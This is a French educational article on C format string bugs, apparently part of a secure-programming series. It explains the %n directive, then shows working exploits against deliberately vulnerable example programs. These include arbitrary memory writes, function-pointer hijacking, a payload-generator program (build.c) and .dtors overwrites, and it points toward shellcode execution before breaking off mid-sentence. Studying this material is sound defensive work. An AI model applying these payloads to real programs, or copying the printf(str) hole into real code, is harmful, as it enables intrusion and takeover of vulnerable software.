La plupart des failles de sécurité ont souvent une même cause : la paresse. La règle n'est pas mises en défaut dans le cas des bogues de format.
Très souvent, dans un programme, il est nécessaire d'écrire une chaîne de caractères (le "lieu" de l'écriture n'est pas important, il peut tout aussi bien s'agir d'un fichier que de la sortie standard). Une simple instruction suffit :
printf("%s", str);
Toutefois, un programmeur peut décider de gagner du temps et six octets en n'écrivant que :
printf(str);
Par ce souci d'économie, ce programmeur vient d'ouvrir une faille potentielle
dans son oeuvre. Il s'est contenté de passer comme argument une chaîne de
caractères, qu'il voulait de toute façon afficher sans aucune modification.
Pourtant, cette chaîne sera balayée à la recherche de directives de formatage
(%d, %g, ...)
. Lorsqu'un tel caractère de format est découvert,
l'argument correspondant est recherché dans la pile.
Nous commencerons par quelques rappels sur les fonctions de type
printf()
, mais nous aborderons également des aspects moins connus
de ces routines. Ensuite, nous verrons comment obtenir les informations
nécessaires à l'exploitation d'une telle faille. Enfin, nous rassemblerons tout
ceci dans le cadre d'un exemple simple.
printf()
: on m'aurait menti !Commençons par ce que nous avons tous appris dans nos manuels de programmation : la plupart des fonctions de lecture/écriture du langage C utilisent un mécanisme de formatage des données, c'est-à-dire qu'outre la valeur à lire ou écrire, il faut également préciser comment l'écrire. Le programme suivant illustre ceci simplement :
/* aff.c */ #include <stdio.h> main() { int i = 64; char a = 'a'; printf("int : %d %d\n", i, a); printf("char : %c %c\n", i, a); }Son exécution produit l'affichage suivant :
>>gcc aff.c -o aff >>./aff int : 64 97 char : @ aLe premier
printf()
écrit le contenu de la variable entière
i
et de la variable a
de type char
sous
forme de valeurs entières (par le formatage %d
), ce qui provoque,
dans la cas de la variable a
, l'affichage non de la lettre
'a'
mais du code ASCII correspondant. En revanche, le second
printf()
convertit la variable entière i
en caractère
et affiche le caractère correspondant au code ASCII 64.
Ceci ne constitue en rien une révolution et reste conforme avec de nombreuses
fonctions qui utilisent un prototypage similaire à celui de la fonction
printf()
:
const char
*format
) sert à préciser le format employé ;
La plupart de nos cours de programmation s'arrêtent ici, en précisant une
liste non exhaustive de formatages possibles (%g
, %h
,
%x
, l'utilisation du caractère .
pour indiquer la
précision...) Mais il est un formatage souvent passer sous
silence :%n
. Voici ce qu'en dit la page man
de la
fonction printf()
:
The number of characters written so far is stored into the integer
indicated by the int * (or variant) pointer argument. No
argument is converted. |
Le nombre de caractères déjà écrits est stocké dans l'entier indiqué
par l'argument pointeur de type int * . Aucun argument n'est
converti. |
Il faut bien comprendre ce que cela signifie : cet argument permet d'écrire dans une variable de type pointeur, même lorsqu'il est utilisé dans une fonction d'affichage !
Avant de continuer, signalons que ce format existe également pour les
fonctions de la famille de scanf()
, syslog()
, ...
Nous allons maintenant étudier l'utilisation et le comportement de ce
formatage au travers de petits programmes. Le premier, printf1
, en
illustre une utilisation simple :
/* printf1.c */ 1: #include <stdio.h> 2: 3: main() { 4: char *buf = "0123456789"; 5: int n; 6: 7: printf("%s%n\n", buf, &n); 8: printf("n = %d\n", n); 9: }Le premier
printf()
affiche la chaîne de caractères
"0123456789
" qui comporte dix caractères. Le format %n
écrit donc cette valeur dans la variable n
: >>gcc printf1.c -o printf1 >>./printf1 0123456789 n = 10Transformons légèrement notre programme en remplaçant l'instruction
printf()
de la ligne 7 par l'instruction suivante : 7: printf("buf=%s%n\n", buf, &n);L'exécution de ce nouveau programme confirme bien nos espoirs : la variable
n
vaut 14, soit 10 caractères provenant de la chaîne
"buf
" plus les 4 caractères "buf=
" contenus dans la
chaîne de format elle-même.
Le formatage %n
comptabilise donc tous les caractères qui
apparaissent dans la chaîne de format. En fait, comme le montre le programme
printf2
, il comptabilise plus que ça :
/* printf2.c */ #include <stdio.h> main() { char buf[10]; int n, x = 0; snprintf(buf, sizeof buf, "%.100d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); }L'utilisation de la fonction
snprintf()
force l'écriture d'au
plus dix octets dans la variable buf
. La variable n
devrait donc valoir 10 : >>gcc printf2.c -o printf2 >>./printf2 l = 9 n = 100En fait, le format
%n
compte le nombre de caractères qui
auraient dû être écrits. Cet exemple illustre que lors de
l'écriture tronquée d'une chaîne dans un buffer de taille fixe, le format
%n
ignore cette troncature.
Que se passe-t-il réellement ? En fait, la chaîne de format est
complètement développée avant d'être recopiée, comme l'illustre le programme
printf3
:
/* printf3.c */ #include <stdio.h> main() { char buf[5]; int n, x = 1234; snprintf(buf, sizeof buf, "%.5d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); printf("buf = [%s] (%d)\n", buf, sizeof buf); }
printf3
comporte quelques différences par rapport à
printf2
:
>>gcc printf3.c -o printf3 >>./printf3 l = 4 n = 5 buf = [0123] (5)Les deux premières lignes ne présentent aucune surprise. Quant à la dernière, elle illustre le comportement de la fonction
printf()
:
00000\0
" ;
x
dans notre exemple. La chaîne de
caractères contient alors "01234\0
" ;
sizeof buf - 1
octets2
sont recopiés de cette chaîne dans la destination buf
, ce qui
nous donne bien "0123\0
" GlibC
, en
particulier celles de la fonction vfprintf()
dans le répertoire
${GLIBC_HOME}/stdio-common
.
Avant de clore cette partie, signalons qu'il est possible d'obtenir
exactement les mêmes résultats avec une autre écriture dans les chaînes de
format. Nous avons précédemment utilisé le format appelé précision (le
point '.' dans les chaînes de format). Cette précision indique la quantité
minimale de chiffres à écrire pour représenter un nombre. Une autre combinaison
d'instructions de format conduit à un résultat similaire : 0n
,
où n
indique la largeur du nombre, 0
qu'il faut mettre
des 0 à la place des espaces au cas où le nombre ne remplirait pas toute la
largeur qui lui est allouée.
Maintenant que les chaînes de format en général et le format %n
en particulier ne présentent plus aucun secret, nous allons étudier leurs
comportements.
printf()
printf()
vis-à-vis de la pile : /* pile.c */ 1: #include <stdio.h> 2: 3: int 4 main(int argc, char **argv) 5: { 6: int i = 1; 7: char buffer[64]; 8: char tmp[] = "\x01\x02\x03"; 9: 10: snprintf(buffer, sizeof buffer, argv[1]); 11: buffer[sizeof (buffer) - 1] = 0; 12: printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); 13: printf ("i = %d (%p)\n", i, &i); 14: }Ce programme se contente de recopier un argument dans la chaîne
buffer
. Nous avons bien pris soin - comme nous l'avons vu dans les
articles précédents - de ne pas recopier "trop" de données et de mettre un
caractère de fin de chaîne afin d'éviter les risques de débordement de buffers. >>gcc pile.c -o pile >>./pile toto buffer : [toto] (4) i = 1 (bffff674)Il fonctionne comme nous nous y attendions. Avant d'approfondir, nous allons examiner ce qui se passe au niveau de la pile lors de l'appel de la fonction
snprintf()
en ligne 8.
La figure 1
décrit l'état de la pile au moment où le programme entre dans la fonction
snprintf()
. Nous ne nous préoccupons pas ici du registre
%esp
. Il pointe quelque part en-dessous du registre
%ebp
. Comme nous l'avons vu dans un précédent article, les deux
premières valeurs situées en %ebp
et %ebp+4
contiennent les sauvegardes respectives des registres %ebp
et
%eip
. Les arguments de la fonction snprintf()
apparaissent alors :
argv[1]
qui fait également
office de donnée. tmp
, puis les 64 octets de la variable buffer
et
finalement la variable entière i
.
La chaîne de caractères argv[1]
sert à la fois de chaîne de
format et de données. En effet, dans l'ordre des arguments normaux de la
fonction snprintf()
, argv[1]
apparaît en lieu et place
de la chaîne de format. Comme il n'est pas spécialement contre-indiqué d'avoir
des caractères dans celle-ci3,
tout se déroule normalement.
Que se passe-t-il maintenant lorsque argv[1]
ne contient plus
uniquement des caractères simples, mais également des caractères de
contrôle ? Normalement, snprintf()
les interprète comme
tels... et il n'y a aucune raison pour qu'il agisse différement. Mais dans ce
cas, quels sont les arguments employés pour construire la chaîne résultante
étant donné que nous ne lui en fournissons aucun ? En fait,
snprintf()
se sert directement dans la pile ! Revenons à notre
programme pile
:
>>./pile "123 %x" buffer : [123 30201] (9) i = 1 (bffff674)
Tout d'abord, la chaîne "123
" est recopiée dans
buffer
. Le %x
indique à snprintf()
de
convertir le premier argument rencontré en hexadécimal. D'après la figure 1,
ce premier argument n'est autre que la variable tmp
qui contient la
chaîne \x01\x02\x03\x00
, ce qui apparaît, sur notre type de
microprocesseur, comme l'équivalent du nombre hexadécimal 0x00030201.
>>./pile "123 %x %x" buffer : [123 30201 20333231] (18) i = 1 (bffff674)
L'ajout d'un second %x
permet d'explorer plus loin dans la pile.
En effet, il indique à snprintf()
d'aller chercher les quatre
octets situés après la variable tmp
. Il s'agit alors des quatre
premiers octets du buffer
. Or, buffer
contient la
chaîne "123
", ce qui peut se voir comme le nombre hexadécimal
0x20333231 (0x20=espace, 0x31='1'...). Pour chaque %x
,
snprintf()
"se déplace" par sauts de quatre octets (unsigned
int
sur les processeurs ix86) dans buffer
. Cette
variable joue ainsi un double rôle :
buffer
: >>./pile "%#010x %#010x %#010x %#010x %#010x %#010x" buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378 0x333837] (63) i = 1 (bffff654)
Parmi les instructions de formatage, il en existe une utilisée parfois
lorsqu'il est nécessaire de permuter les paramètres à convertir. On insère entre
le caractère %
et la directive de mise en forme une séquence
m$
, où m
est un entier positif ou nul. Ce nombre
représente la position dans la liste d'arguments de la variable à utiliser (le
compte commence à 1) :
/* explore.c */ #include <stdio.h> int main(int argc, char **argv) { char buf[12]; memset(buf, 0, 12); snprintf(buf, 12, argv[1]); printf("[%s] (%d)\n", buf, strlen(buf)); }
Le formatage à l'aide de m$
nous permet de remonter où nous voulons dans la pile, tout comme nous le ferions en
utilisant gdb
:
>>./explore %1\$x [0] (1) >>./explore %2\$x [0] (1) >>./explore %3\$x [0] (1) >>./explore %4\$x [bffff698] (8) >>./explore %5\$x [1429cb] (6) >>./explore %6\$x [2] (1) >>./explore %7\$x [bffff6c4] (8)
Le caractère \
est ici nécessaire pour protéger le
$
et éviter que le shell n'essaye de l'interpréter. Les trois
premiers appels nous font visiter le contenu de la variable buf
.
Nous obtenons, avec %4\$x
la sauvegarde du registre
%ebp
, puis, avec le suivant, la valeur de l'adresse de retour de la
fonction main()
. Les 2 derniers résultats présentés ici montrent la
valeur de la variable argc
puis l'adresse contenue dans
*argv
(rappelons que la déclaration **argv
signifie
que *argv
est un tableau d'adresses).
Cet exemple illustre que les formats fournis nous permettent alors de
remonter dans la pile en quête d'informations, par exemple la valeur de retour
d'une fonction, une adresse... Or, nous avons vu au début de cet article que
nous pouvions écrire avec les fonctions de type printf()
:
nous sommes donc en présence d'une magnifique vulnérabilité potentielle !
Pour terminer de vous convaincre, revenons au programme
pile
:
>>perl -e 'system "./pile \x64\xf6\xff\xbf%.496x%n"' buffer : [döÿ¿00000000000000000000000000000000000000000000000000000000000] (63) i = 500 (bffff664)Nous transmettons comme chaîne de caractères :
i
;
%.496x
) ;
%n
) qui écrira à
l'adresse indiquée dans la pile. i
(0xbffff664
ici), on peut lancer deux fois
le programme, et modifier la ligne de commande en conséquence. Comme vous pouvez
le constater, i
a changé de valeur. La chaîne de format transmise
et la disposition de la pile signifient que le snprintf()
s'interprète en fait ainsi : snprintf(buffer, sizeof buffer, "\x64\xf6\xff\xbf%.496x%n", tmp, quatre premiers octets de buffer);
Les quatre premiers octets (i.e. l'adresse de i
) sont écrits au
début de buffer
. La directive %.496x
nous se
"débarasse" de la variable tmp
présente dans la pile. Nous pourrons
ainsi arriver au début du buffer. Bien que la précision d'écriture demandée soit
496, elle n'écrit que soixante octets au maximum (car il y en a déjà quatre
d'écrit, et la longueur du buffer, transmise en second argument vaut 64). La
valeur 496 est arbitraire, et nous permet de manipuler le compteur d'octets
écrits. Nous avons vu que la directive %n
stocke le nombre d'octets
qui auraient dû être écrits. Ici, cette valeur vaut 496 plus les quatre octets
déjà écrits, soit 500. Ce nombre est recopié à l'adresse indiquée par l'argument
suivant. Comme la remontée de la pile nous à conduit au début du buffer,
l'écriture a lieu à l'adresse représentée par ses quatre premiers octets,
c'est-à-dire i
.
Mais nous pouvons pousser cet exemple encore plus loin. Pour parvenir à
modifier la valeur de i
, nous avions besoin de connaître son
adresse... mais dans certains cas, le programme nous la donne :
/* swap.c */ #include <stdio.h> main(int argc, char **argv) { int cpt1 = 0; int cpt2 = 0; int addr_cpt1 = &cpt1; int addr_cpt2 = &cpt2; printf(argv[1]); printf("\ncpt1 = %d\n", cpt1); printf("cpt2 = %d\n", cpt2); }
L'exécution de ce programme nous révèle que nous pouvons contrôler la pile (presque) comme nous le voulons :
>>./swap AAAA AAAA cpt1 = 0 cpt2 = 0 >>./swap AAAA%1\$n AAAA cpt1 = 0 cpt2 = 4 >>./swap AAAA%2\$n AAAA cpt1 = 4 cpt2 = 0
Comme vous le constatez, en fonction de l'argument fourni, nous modifions
soit cpt1
, soit cpt2
. Le format %n
s'attend à rencontrer une adresse, c'est pourquoi nous ne pouvons pas modifier
directement une variable en essayant %3$n (cpt2)
ou %4$n
(cpt1)
mais que nous devons passer par un pointeur. Ces derniers sont des
denrées courantes en C et les possibilités de modifications sont vraiment
fréquentes.
egcs-2.91.66
et
glibc-2.1.3-22
. Toutefois, vous n'obtiendrez probablement pas les
mêmes résultats chez vous. En effet, les fonctions de type
*printf()
changent suivant les versions de la glibc
et
les compilateurs n'effectuent pas du tout les mêmes opérations.
Le programme bidon
met en évidence ces différences :
/* bidon.c */ #include <stdio.h> main(int argc, char **argv) { char aaa[] = "AAA"; char buffer[64]; char bbb[] = "BBB"; if (argc < 2) { printf("Usage : %s <format>\n",argv[0]); exit (-1); } memset(buffer, 0, sizeof buffer); snprintf(buffer, sizeof buffer, argv[1]); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); }
Les tableaux aaa
et bbb
nous servent de délimiteurs
dans notre remontée de la pile. Ainsi, nous saurons que lorsque nous
rencontrerons 424242
, les octets suivants suivants seront dans
buffer
. Le tableau 1
présente les différences en fonction des versions des glibc
.
|
|
|
gcc-2.95.3 | 2.1.3-16 | buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63) |
egcs-2.91.66 | 2.1.3-22 | buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63) |
gcc-2.96 | 2.1.92-14 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
gcc-2.96 | 2.2-12 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
Dans la suite de cet article, nous continuerons à utiliser
egcs-2.91.66
et la glibc-2.1.3-22
, mais ne soyez donc
pas surpris si vous constatez des différences sur votre machine.
Lors de l'exploitation des débordements de buffer, nous profitions d'un buffer pour aller dans la pile écraser la valeur de retour de la fonction.
Avec les chaînes de format, nous avons vu que nous pouvions accéder où nous voulions (pile, tas, bss, .dtors...), nous devons juste
fournir l'adresse pour que la directive %n
sache où écrire.
/* vuln.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int helloWorld(); int accessForbidden(); int vuln(const char *format) { char buffer[128]; int (*ptrf)(); memset(buffer, 0, sizeof(buffer)); printf("helloWorld() = %p\n", helloWorld); printf("accessForbidden() = %p\n\n", accessForbidden); ptrf = helloWorld; printf("Avant formatage : ptrf() = %p (%p)\n", ptrf, &ptrf); snprintf(buffer, sizeof buffer, format); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); printf("Après formatage : ptrf() = %p (%p)\n", ptrf, &ptrf); return ptrf(); } int main(int argc, char **argv) { int i; if (argc <= 1) { fprintf(stderr, "Usage: %s <buffer>\n", argv[0]); exit(-1); } for(i=0;i<argc;i++) printf("%d %p\n",i,argv[i]); exit(vuln(argv[1])); } int helloWorld() { printf("Welcome in \"helloWorld\"\n"); fflush(stdout); return 0; } int accessForbidden() { printf("You shouldn't be here \"accesForbidden\"\n"); fflush(stdout); return 0; }
Nous définissons une variable ptrf
qui est de type pointeur
sur une fonction. Nous allons modifier la valeur de ce pointeur pour
exécuter la fonction de notre choix.
Tout d'abord, il nous faut obtenir le décalage existant entre la position courante dans le pile et le buffer :
>>./vuln "AAAA %x %x %x %x" helloWorld() = 0x8048634 accessForbidden() = 0x8048654 Avant formatage : ptrf() = 0x8048634 (0xbffff5d4) buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37) Après formatage : ptrf() = 0x8048634 (0xbffff5d4) Welcome in "helloWorld" >>./vuln AAAA%3\$x helloWorld() = 0x8048634 accessForbidden() = 0x8048654 Avant formatage : ptrf() = 0x8048634 (0xbffff5e4) buffer = [AAAA41414141] (12) Après formatage : ptrf() = 0x8048634 (0xbffff5e4) Welcome in "helloWorld"
Le premier appel à notre programme nous révèle immédiatement ce que nous
recherchons : trois mots (au sens mot machine, i.e. quatre octets
sur les x86) nous séparent du début de la variable buffer
. Le
second appel, avec comme premier argument AAAA%3\$x
, confirme ce
constat.
Notre but est donc de remplacer le contenu initial du pointeur
ptrf
(à savoir 0x8048634
qui correspond à l'adresse en
mémoire de la fonction helloWorld()
) par la valeur
0x8048654
(adresse de accessForbidden()
). Nous devons
donc écrire 0x8048654
octets (ce qui fait 134514260 octets, environ
128Mo). Toutes les machines ne peuvent se permettre une telle débauche de
mémoire... mais celle qui sert à nos tests si :) A titre indicatif, le
programme prend environ 20 secondes sur un bi-pentium 350 MHz :
>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n ` helloWorld() = 0x8048634 accessForbidden() = 0x8048654 Avant formatage : ptrf() = 0x8048634 (0xbffff5d4) buffer = [Ôõÿ¿000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000] (127) Après formatage : ptrf() = 0x8048654 (0xbffff5d4) You shouldn't be here "accesForbidden"
Qu'avons-nous fait ? Nous avons juste fourni l'adresse de ptrf
(0xbffff5d4)
. Ensuite, l'instruction suivante de formatage
(%.134514256x
) lit le premier mot de la pile sur le nombre désiré
d'octets (nous avons déjà écrit quatre octets avec l'adresse de
ptrf
, il en reste donc 134514260-4=134514256
). Enfin,
nous écrivons cette valeur à l'adresse désirée (%3$n
).
Toutefois, comme nous l'avons signalé, il n'est pas toujours possible
d'utiliser des buffers de 128Mo. Le format %n
attend un pointeur
sur un entier, c'est-à-dire quatre octets. Il est possible d'en altérer le
comportement pour en faire un pointeur sur un short int
, soit
uniquement deux octets, grâce à l'instruction %hn
. Nous découpons
donc l'entier dans lequel nous voulons écrire en deux parties. La plus grosse
écriture tiendra alors sur 0xffff
octets (65535 octets = 64Ko).
Ainsi, en reprenant l'exemple précédent, nous transformons l'opération "écrire
0x8048654
à l'adresse 0xbffff5d4
" en deux opérations
successives :
0x8654
à l'adresse 0xbffff5d4
0x0804
à l'adresse
0xbffff5d4+2=0xbffff5d6
Cependant, %n
(ou au %hn
) comptabilise le nombre de
caractères écrits jusqu'à présent dans la chaîne. Il ne fait donc qu'augmenter.
Des deux paires d'octets, nous commençons donc par celle qui contient la plus
petite valeur ! Ensuite, il ne reste plus qu'à utiliser la différence entre
cette valeur et la seconde en guise de précision pour obtenir la bonne valeur.
De retour à notre exemple, le premier formatage est %.2052x
(2052 =
0x0804) et le second %.32336x
(32336 = 0x8654 - 0x0804). Chaque
%hn
placé juste après comptabilisera le nombre voulu d'octets.
Il reste à indiquer aux deux instructions de formatage %hn
où
écrire. L'opérateur m$
nous facilite la tâche. Si nous plaçons ces
deux adresses dès le début du buffer, nous n'avons qu'à remonter la pile à coup
de m$
pour trouver la valeur de m
qui correspond au
début du buffer. Comme nous utilisons les huit premiers octets du buffer pour y
stocker les adresses à écraser, la première valeur écrite doit être diminuée
d'autant.
Notre chaîne de format ressemble alors à :
"[adr][adr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max - val.
min.]x%[offset+1]$hn"
Le programme build
construit une chaîne de format à partir de
trois informations :
/* build.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> /** Les quatre octets où écrire sont décomposés ainsi : HH HH LL LL Les variables terminant par "*h" correspondent à la partie haute (H) Les variables terminant par "*l" correspondent à la partie basse (L) */ char* build(unsigned int addr, unsigned int value, unsigned int where) { unsigned int length = 128; //j'ai la flemme de calculer ... unsigned int valh; unsigned int vall; unsigned char b0 = (addr >> 24) & 0xff; unsigned char b1 = (addr >> 16) & 0xff; unsigned char b2 = (addr >> 8) & 0xff; unsigned char b3 = (addr ) & 0xff; char *buf; /* décomposition de la valeur */ valh = (value >> 16) & 0xffff; //haut vall = value & 0xffff; //bas fprintf(stderr, "adr : %d (%x)\n", addr, addr); fprintf(stderr, "val : %d (%x)\n", value, value); fprintf(stderr, "valh: %d (%.4x)\n", valh, valh); fprintf(stderr, "vall: %d (%.4x)\n", vall, vall); /* allocation du buffer */ if ( ! (buf = (char *)malloc(length*sizeof(char))) ) { fprintf(stderr, "Can't allocate buffer (%d)\n", length); exit(EXIT_FAILURE); } memset(buf, 0, length); /* let's build */ if (valh < vall) { snprintf(buf, length, "%c%c%c%c" /* adresse haute */ "%c%c%c%c" /* adresse basse */ "%%.%hdx" /* pour ajuster le premier %hn */ "%%%d$hn" /* le %hn sur la partie haute */ "%%.%hdx" /* pour ajuster le second %hn */ "%%%d$hn" /* le %hn sur la partie basse */ , b3+2, b2, b1, b0, /* adresse haute */ b3, b2, b1, b0, /* adresse basse */ valh-8, /* pour ajuster le premier %hn */ where, /* le %hn sur la partie haute */ vall-valh, /* pour ajuster le second %hn */ where+1 /* le %hn sur la partie basse */ ); } else { snprintf(buf, length, "%c%c%c%c" /* adresse haute */ "%c%c%c%c" /* adresse basse */ "%%.%hdx" /* pour ajuster le premier %hn */ "%%%d$hn" /* le %hn sur la partie haute */ "%%.%hdx" /* pour ajuster le second %hn */ "%%%d$hn" /* le %hn sur la partie basse */ , b3+2, b2, b1, b0, /* adresse haute */ b3, b2, b1, b0, /* adresse basse */ vall-8, /* pour ajuster le premier %hn */ where+1, /* le %hn sur la partie basse */ valh-vall, /* pour ajuster le second %hn */ where /* le %hn sur la partie haute */ ); } return buf; } int main(int argc, char **argv) { char *buf; if (argc < 3) return EXIT_FAILURE; buf = build(strtoul(argv[1], NULL, 16), /* adresse */ strtoul(argv[2], NULL, 16), /* valeur */ atoi(argv[3])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); return EXIT_SUCCESS; }
Selon que la première valeur à écrire se situe dans la partie haute ou basse de la valeur totale, l'ordre des arguments change. Vérifions que nous obtenons maintenant le même résultat que précédemment, mais sans les problèmes potentiels de mémoires.
Tout d'abord, notre exemple étant assez simple, le seul paramètre que nous avons à déterminer est l'offset :
>>./vuln AAAA%3\$x argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 Avant formatage : ptrf() = 0x8048644 (0xbffff5d4) buffer = [AAAA41414141] (12) Après formatage : ptrf() = 0x8048644 (0xbffff5d4) Welcome in "helloWorld"
Nous constatons qu'il vaut toujours 3. Comme notre programme poursuit un but
pédagogique, nous avons déjà les autres informations nécessaires à
l'exploitation, c'est-à-dire les adresses de ptrf
et
accesForbidden()
. Nous transmettons alors notre buffer à
vuln
:
>>./vuln `./build 0xbffff5d4 0x8048664 3` adr : -1073744428 (bffff5d4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 Avant formatage : ptrf() = 0x8048644 (0xbffff5b4) buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000] (127) Après formatage : ptrf() = 0x8048644 (0xbffff5b4) Welcome in "helloWorld"Il ne s'est rien passé ! En fait, comme nous avons employé un buffer plus grand que le précédent dans la chaîne de format, la pile a changé l'adresse de
ptrf
(de 0xbffff5d4
, elle s'est déplacée à
0xbffff5b4
). Nous devons donc ajuster cette valeur : >>./vuln `./build 0xbffff5b4 0x8048664 3` adr : -1073744460 (bffff5b4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 Avant formatage : ptrf() = 0x8048644 (0xbffff5b4) buffer = [¶õÿ¿´õÿ¿00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000] (127) Après formatage : ptrf() = 0x8048664 (0xbffff5b4) You shouldn't be here "accesForbidden"Notre programme fonctionne !!!
.dtors
.
Lorsqu'un programme est compilé avec gcc
, il contient une
section constructeur (.ctors
) et une autre destructeur
(.dtors
). Chacune de ces sections contient des pointeurs sur des
fonctions à exécuter respectivement avant d'entrer dans le main()
et une fois que le programme en sort.
/* cdtors */ void entree(void) __attribute__ ((constructor)); void sortie(void) __attribute__ ((destructor)); int main() { printf("dans main()\n"); } void entree(void) { printf("dans entree()\n"); } void sortie(void) { printf("dans sortie()\n"); }Le résultat obtenu illustre ceci :
>>gcc cdtors.c -o cdtors >>./cdtors dans entree() dans main() dans sortie()Chacune de ces sections est construite de la même manière :
>>objdump -s -j .ctors cdtors cdtors: file format elf32-i386 Contents of section .ctors: 804949c ffffffff dc830408 00000000 ............ >>objdump -s -j .dtors cdtors cdtors: file format elf32-i386 Contents of section .dtors: 80494a8 ffffffff f0830408 00000000 ............On vérifie que les adresses indiquées correspondent bien à celles de nos fonctions (attention : la commande
objdump
précédente donne
les adresses en little endian) : >>objdump -t cdtors | egrep "entree|sortie" 080483dc g F .text 00000012 entree 080483f0 g F .text 00000012 sortieAinsi, ces sections contiennent les adresses des fonctions à exécuter en entrée ou sortie, encadrées par
0xffffffff
et
0x00000000
.
Appliquons ceci à vuln
en utilisant les chaînes de format. Nous
devons déterminer tout d'abord l'emplacement en mémoire de ces sections, ce qui
est très facile lorsque le binaire est à portée de main, simplement en utilisant
la commande objdump
comme nous venons de le faire :
>> objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 8049844 ffffffff 00000000 ........Ça y est, c'est terminé : nous avons tout ce qu'il nous faut maintenant.
L'exploitation consiste à remplacer l'adresse de la fonction présente dans
une des sections par celle de la fonction que nous voulons exécuter. Au cas où
ces sections sont vides, il suffit d'écraser le 0x00000000
qui
marque la fin de la section, ce qui aura pour effet de provoquer une
segmentation fault
car ne trouvant plus le 0x00000000
,
les quatre octets suivants seront interprétés à leur tour comme une adresse de
fonction, ce qui n'est probablement pas le cas.
En pratique, seule la section .dtors
est intéressante à
exploiter : on n'a pas le temps de faire quoique ce soit avant la section
.ctors
. D'une manière générale, il faut écraser l'adresse qui se
situe quatre octets après le début de la section (le 0xffffffff
)
pour que notre fonction soit exécutée en premier :
0x00000000
;
Pour notre exploitation, nous substituons donc le 0x00000000
de
la section .dtors
, situé en 0x8049848=0x8049844+4
, par
l'adresse de la fonction accesForbidden()
déjà connue
(0x8048664
) :
>./vuln `./build 0x8049848 0x8048664 3` adr : 134518856 (8049848) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [JH%.2044x%3$hn%.32352x%4$hn] (33) argv2 = bffff694 (0xbffff51c) helloWorld() = 0x8048648 accessForbidden() = 0x8048664 Avant formatage : ptrf() = 0x8048648 (0xbffff434) buffer = [JH00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000] (127) Après formatage : ptrf() = 0x8048648 (0xbffff434) Welcome in "helloWorld" You shouldn't be here "accesForbidden" Segmentation fault (core dumped)Le programme se déroule normalement, jusqu'à l'appel de
helloWorld()
. Ensuite, lorsqu'il s'agit de quitter le
main()
, la fonction accesForbidden()
est exécutée
avant le "plantage" attendu.
Nous avons présenté ici des cas simples d'exploitation, sans grande
conséquence. En utilisant le même principe, Il suffit de passer un shellcode au
programme vulnérable (soit par l'intermédiaire de argv
, soit par
une variable d'environnement) et d'aller "pointer" dessus au moment opportun
pour se retrouver avec un shell.
Jusqu'à présent, nous savons :
Toutefois, dans la réalité, le programme vulnérable n'est pas aussi
sympathique que celui utilisé en exemple. Nous allons présenter une technique
qui permet de passer un shellcode en mémoire et de retrouver son adresse
exacte (i.e. fini les tonnes de NOP
au début).
Le principe repose sur des appels successifs de fonctions
exec*()
:
/* argv.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char **argv) { char **env; char **arg; int nb = atoi(argv[1]), i; env = (char **) malloc(sizeof(char *)); env[0] = 0; arg = (char **) malloc(sizeof(char *) * nb); arg[0] = argv[0]; arg[1] = (char *) malloc(5); snprintf(arg[1], 5, "%d", nb-1); arg[2] = 0; /* printings */ printf("*** argv %d ***\n", nb); printf("argv = %p\n", argv); printf("arg = %p\n", arg); for (i = 0; i<argc; i++) { printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]); printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]); } printf("\n"); /* recall */ if (nb == 0) exit(0); execve(argv[0], arg, env); }Ce programme prend comme argument un nombre
nb
et s'appelle
récursivement nb+1
fois : >>./argv 2 *** argv 2 *** argv = 0xbffff6b4 arg = 0x8049828 argv[0] = 0xbffff80b (0xbffff6b4) arg[0] = 0xbffff80b (0x8049828) argv[1] = 0xbffff812 (0xbffff6b8) arg[1] = 0x8049838 (0x804982c) *** argv 1 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c) *** argv 0 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c)
Nous constatons immédiatement que les adresses allouées pour arg
et argv
n'évolue plus après le deuxième appel. Nous allons donc
utiliser cette propriété dans le cadre de notre exploit. Il nous suffit de
modifier légèrement notre programme build
pour qu'il s'appelle
